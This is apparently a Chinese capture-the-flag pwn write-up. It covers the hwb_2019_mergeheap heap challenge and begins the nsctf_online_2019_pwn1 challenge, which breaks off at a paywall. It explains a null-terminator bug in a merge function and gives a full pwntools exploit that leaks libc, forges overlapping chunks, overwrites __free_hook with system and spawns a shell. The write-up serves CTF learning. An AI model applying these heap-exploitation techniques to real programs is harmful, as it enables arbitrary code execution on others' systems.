186 hwb_2019_mergeheap

最多15个chunk。
show
正常输出。
free
free把程序保护的很好。
merge
这个里面会有漏洞,因为strcpy,strcat都是以’\x00’结尾的,所以我们在merge的时候可以在特定情况下把特定东西带出来。
利用方式
我们先通过常规方式泄露libc地址,然后通过merge来把,某个chunk的大size拉到另外一个chunk的size的位置,来造成overlap,从而进行fastbin attack,来达到利用效果。
因为是ubuntu18,所以我们可以直接攻击free_hook。
ps:这个题输入要注意一下,是自己实现的,不一样。要么被回车截断,要么只能输满,所以我们很多地方后面都要加一个回车。
from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn", 26562)
#r = process("./186")
elf = ELF("./186")
libc = ELF("./64/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
def add(size, content):
r.sendlineafter(">>", "1")
r.sendlineafter("len:", str(size))
r.sendafter("content:", content)
def show(index):
r.sendlineafter(">>", "2")
r.sendlineafter("idx:", str(index))
def delete(index):
r.sendlineafter(">>", "3")
r.sendlineafter("idx:", str(index))
def merge(index1, index2):
r.sendlineafter(">>", "4")
r.sendlineafter("idx1:", str(index1))
r.sendlineafter("idx2:", str(index2))
for i in range(8):
add(0x80, 'aaaaaaaa\n')
for i in range(1, 8):
delete(i)
delete(0)
add(8, 'aaaaaaaa') #0
show(0)
r.recvuntil('a'*8)
malloc_hook = (u64(r.recvuntil('\x7f').ljust(8, '\x00'))&0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_base + " + hex(libc_base)
add(0x60, 'aaaa\n') #1
add(0x30, 'aaaa'*0x30) #2
add(0x38, 'aaaa'*0x38) #3
add(0x100, 'aaaa\n') #4
add(0x68, 'aaaa\n') #5
add(0x20, 'aaaa\n') #6
add(0x20, 'aaaa\n') #7
add(0x20, 'aaaa\n') #8
add(0x20, '/bin/sh\n') #9
delete(5)
delete(7)
delete(8)
merge(2, 3) #5
delete(6)
payload = 'a' * 0x28 + p64(0x31) + p64(free_hook) + p64(0) + '\n'
add(0x100, payload) #6
add(0x20, 'hi\n') #7
add(0x20, 'hi\n') #8
add(0x20, p64(system_addr) + '\n') #10
delete(9)
r.interactive()
187 nsctf_online_2019_pwn1

add
结构跟上个题很像。
delete
清理的也很干净。
show是假的
update
有防溢出。也有个off by null。
所以思路很清晰,我们就是根据off by null,因为没有show,所以通过攻击IO_file来泄露libc地址,制造overlap,进行攻击。
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = "debug"
elf = ELF("./187")
libc = ELF("./64/libc-2.27.so"

最低0.47元/天 解锁文章
787





